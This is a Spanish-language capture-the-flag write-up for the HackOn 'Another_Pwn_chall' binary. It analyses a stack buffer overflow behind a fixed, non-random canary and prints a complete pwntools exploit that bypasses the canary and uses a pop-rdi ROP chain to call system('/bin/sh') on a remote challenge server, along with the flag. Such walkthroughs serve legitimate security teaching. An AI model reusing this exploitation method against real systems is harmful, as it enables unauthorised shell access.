Another_Pwn_chall

Flag

```
HackOn{c4n4r1e5_r_n1CE_b1RdS}
```

Writeup

- Sacamos información básica del binario. Vemos que es un elf de 64 bits no estripeado con nx. Con strings llama la atención system y /bin/sh.

```
|18:00:55|david@ubuntu:[Another_Pwn_chall]> file Another_Pwn_chall
Another_Pwn_chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux
-x86-64.so.2, BuildID[sha1]=97edad9de280767ebf75203958312f6e78e97b4a, for GNU/Linux 3.2.0, not stripped
|18:01:05|david@ubuntu:[Another_Pwn_chall]> checksec Another_Pwn_chall
[*] '/home/david/Hackon/Another_Pwn_chall/Another_Pwn_chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
|18:01:22|david@ubuntu:[Another_Pwn_chall]> strings Another_Pwn_chall
/lib64/ld-linux-x86-64.so.2
u 9X1/nx
libc.so.6
fflush
exit
nanosleep
__isoc99_scanf
puts
putchar
strlen
stdout
system
__libc_start_main
GLIBC_2.7
GLIBC_2.2.5
__gmon_start__
[]A\A]A^A_
.....Otro reto de pwn igual
Venga consigue tu flag
Dime tu nombre:
Que haces ah
 mirando, sigue creando tu exploit
*** stack smashing detected ***: terminated
:*3$"
/bin/sh
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
Another_Pwn_chall.c
```

- Ejecutamos para ver la funcionalidad. El programa imprime lentamente un texto y pide tu nombre. Probando a meter un nombre corto de dice que sigas haciendo el exploit y con muy uno largo imprime `*** stack smashing detected ***: terminated` , parece que tenga un canario aunque checksec no lo haya reconocido.

```
|18:01:26|david@ubuntu:[Another_Pwn_chall]> ./Another_Pwn_chall
.....Otro reto de pwn igual
Venga consigue tu flag
Dime tu nombre: dbd4
Que haces ahi mirando, sigue creando tu exploit|18:03:34|david@ubuntu:[Another_Pwn_chall]>
|18:03:35|david@ubuntu:[Another_Pwn_chall]> ./Another_Pwn_chall
.....Otro reto de pwn igual
Venga consigue tu flag
Dime tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated
|18:03:55|david@ubuntu:[Another_Pwn_chall]>
```

- Vamos a abrirlo con ghidra para analizarlo más a fondo. Vemos que main solo llama a dos funciones **cool_puts** y **cool_read**.

```
undefined8 main(void)

{
  cool_puts(".....Otro reto de pwn igual\n");
  cool_puts("Venga consigue tu flag\n");
  cool_puts("Dime tu nombre: ");
  cool_read();
  cool_puts(&DAT_00402050);
  return 0;
}
```

- **cool_puts** imprime char por char un string lentamente usando nanosleep.

```
void cool_puts(char *param_1)

{
  size_t sVar1;
  ulong uVar2;
  timespec local_38;
  int local_1c;

  local_1c = 0;
  while( true ) {
    uVar2 = SEXT48(local_1c);
    sVar1 = strlen(param_1);
    if (sVar1 <= uVar2) break;
    local_38.tv_sec = 0;
    local_38.tv_nsec = 100000000;
    nanosleep(&local_38,&local_38);
    putchar((int)param_1[local_1c]);
    fflush(stdout);
    local_1c = local_1c + 1;
  }
  return;
}
```

- **cool_read** declara un buffer de 28 bytes y una variable, que iguala a 0xl337c0d3. Luego usa `scanf("%s")` para escanear input en el buffer, lo cual es inseguro porque no comprueba el tamaño de lo que escanea. Luego la función comprueba que 0xl337c0d3 no se haya modificado, en caso de que sí se haya modificado imprime `*** stack smashing detected ***: terminated` y termina la ejecucción con exit, funcionando como una especie de canario (aunque es inseguro, por no ser aleatorio) que comprueba que no estés sobrescribiendo el stack.

- Para sobrepasar el canario debemos sobrescribirlo con su propio valor, por lo que nuestro payload será algo así:

```
padding hasta el canario + 0xl337c0d3 + padding hasta la dirección de retorno + la dirección a donde saltar
```

- Con pwndbg calculamos los offsets.
- Ponemos un breakpoint después del scanf y ejecutamos metiendo como input "ABCD" por ejemplo

```
|18:04:58|david@ubuntu:[Another_Pwn_chall]> gdb Another_Pwn_chall
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from Another_Pwn_chall...
(No debugging symbols found in Another_Pwn_chall)
(gdb) init-pwndbg
pwndbg: loaded 198 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> disass cool_read
Dump of assembler code for function cool_read:
   0x000000000040126a <+0>:     endbr64
   0x000000000040126e <+4>:     push   rbp
   0x000000000040126f <+5>:     mov    rbp,rsp
   0x0000000000401272 <+8>:     sub    rsp,0x20
   0x0000000000401276 <+12>:    mov    DWORD PTR [rbp-0x4],0x1337c0d3
   0x000000000040127d <+19>:    lea    rax,[rbp-0x20]
   0x0000000000401281 <+23>:    mov    rsi,rax
   0x0000000000401284 <+26>:    lea    rdi,[rip+0xdf6]        # 0x402081
   0x000000000040128b <+33>:    mov    eax,0x0
   0x0000000000401290 <+38>:    call   0x401110 <__isoc99_scanf@plt>
   0x0000000000401295 <+43>:    cmp    DWORD PTR [rbp-0x4],0x1337c0d3
   0x000000000040129c <+50>:    je     0x4012b4 <cool_read+74>
   0x000000000040129e <+52>:    lea    rdi,[rip+0xde3]        # 0x402088
   0x00000000004012a5 <+59>:    call   0x4010c0 <puts@plt>
   0x00000000004012aa <+64>:    mov    edi,0x0
   0x00000000004012af <+69>:    call   0x401120 <exit@plt>
   0x00000000004012b4 <+74>:    nop
   0x00000000004012b5 <+75>:    leave
   0x00000000004012b6 <+76>:    ret
End of assembler dump.
pwndbg> b *0x0000000000401295
Punto de interrupción 1 at 0x401295
pwndbg> r
Starting program: /home/david/Hackon/Another_Pwn_chall/Another_Pwn_chall
.....Otro reto de pwn igual
Venga consigue tu flag
Dime tu nombre: ABCD

Breakpoint 1, 0x0000000000401295 in cool_read ()
```

- Vemos como queda el stack tras escanear el input y donde está nuestro input, el canario y la dirección de retorno en el stack.

```
00:0000 rsp 0x7fffffffde90 ◂— 0x7f0044434241 /* 'ABCD' */
01:0008     0x7fffffffde98 ◂— 0x10004013ad
02:0010     0x7fffffffdea0 —▸ 0x7ffff7fa6fc8 (__exit_funcs_lock) ◂— 0x0
03:0018     0x7fffffffdea8 ◂— 0x1337c0d300401360
04:0020 rbp 0x7fffffffdeb0 —▸ 0x7fffffffded0 ◂— 0x0
05:0028     0x7fffffffdeb8 —▸ 0x401257 (main+65) ◂— lea    rdi, [rip + 0xdf2]
06:0030     0x7fffffffdec0 —▸ 0x7fffffffdfc8 —▸ 0x7fffffffe2f3 ◂— '/home/david/
ll'
07:0038     0x7fffffffdec8 ◂— 0x100000000
[ BACKTRACE ]
 ► f 0          0x401295 cool_read+43
   f 1          0x401257 main+65
   f 2   0x7ffff7ddd0b3 __libc_start_main+243

pwndbg> x/s 0x7fffffffde90
0x7fffffffde90: "ABCD"
pwndbg> x/wx 0x7fffffffdeac
0x7fffffffdeac: 0x1337c0d3
pwndbg> x/wx 0x7fffffffdeb8
0x7fffffffdeb8: 0x00401257
pwndbg>
```

- Calculamos offsets.

```
pwndbg> p 0x7fffffffdeac-0x7fffffffde90
$1 = 28
pwndbg> p 0x7fffffffdeb8-0x7fffffffdeac
$2 = 12
pwndbg>
```

- Nuestro payload queda así:

`padding de 28 + 0xl337c0d3 + padding de 8 (12-(tamaño del canario, que son 4 bytes)) + la dirección a donde saltar`

- Ahora que podemos controlar el rip (instrucction pointer) sin problemas con el canario vamos a ver que podemos hacer. ¿Os acordaís de lo que salía con strings? Pues vamos a ver si tenemos suerte y hay una función que llame a `system("/bin/sh")` . Parece que no, lo máximo que tenemos es está función que llama a system con el argumento que le pases.

```
void _(char *param_1)

{
  system(param_1);
  return;
}
```

- Podemos hacer una ROP chain para meter en rdi un puntero a "/bin/sh", ya que rdi es la forma de pasar el primer argumento en x86-64. Para ello usamos ropper.

```
|18:29:34|david@ubuntu:[Another_Pwn_chall]> ropper -f Another_Pwn_chall --search="pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: Another_Pwn_chall
0x00000000004013c3: pop rdi; ret;

|18:30:10|david@ubuntu:[Another_Pwn_chall]>
```

- Ese gadget es perfecto, vamos a buscar la dirección de memoria de "/bin/sh".

```
                        //
                        // .data
                        // SHT_PROGBITS  [0x404000 - 0x404017]
                        // ram:00404000-ram:00404017
                        //

                        __data_start                                    XREF[2]:     Entry Point(*),
                        data_start                                                   _elfSectionHeaders::0
        00404000 00             ??         00h
        00404001 00             ??         00h
        00404002 00             ??         00h
        00404003 00             ??         00h
        00404004 00             ??         00h
        00404005 00             ??         00h
        00404006 00             ??         00h
        00404007 00             ??         00h

                        __dso_handle                                    XREF[1]:     Entry Point(*)
        00404008 00             ??         00h
        00404009 00             ??         00h
        0040400a 00             ??         00h
        0040400b 00             ??         00h
        0040400c 00             ??         00h
        0040400d 00             ??         00h
        0040400e 00             ??         00h
        0040400f 00             ??         00h

                        normalVar                                       XREF[1]:     Entry Point(*)
        00404010 2f 62 69       ds         "/bin/sh"
                 6e 2f 73
                 68 00
```

- Nuestro payload queda así:

padding de 28 + 0xl337c0d3 + padding de 8 (12-(tamaño del canario, que son 4 bytes)) + dirección de pop_rdi + dirección de "/bin/sh" + dirección de '_' o de system

- Metemos todo esto en un exploit:

```
from pwn import *

pop_rdi=0x00000000004013c3
bin_sh=0x00404010
system=0x00401341
```

```
payload=0x1c*b'A'
payload+=b'\xd3\xc0\x37\x13' # 0xl337c0d3 en formato de bytes con little endian
payload+=0x8*b'A'
payload+=p64(pop_rdi) # direcciones en hex a words de 64 bits y en little endian
payload+=p64(bin_sh)
payload+=p64(system)

io=remote('167.86.87.193',6785)
io.sendline(payload)
io.interactive()
```

- Ejecutamos y conseguimos la flag

```
|18:36:28|david@ubuntu:[Another_Pwn_chall]> python3 solver_anotherPwnChall.py
[+] Opening connection to 167.86.87.193 on port 6785: Done
[*] Switching to interactive mode
.....Otro reto de pwn igual
Venga consigue tu flag
Dime tu nombre: $ whoami
root
$ cat /challenge/flag.txt
HackOn{c4n4r1e5_r_n1CE_b1RdS}
$
```

Probado por

- Dbd4

Autor

- David Billhardt
  - Twitter
  - Github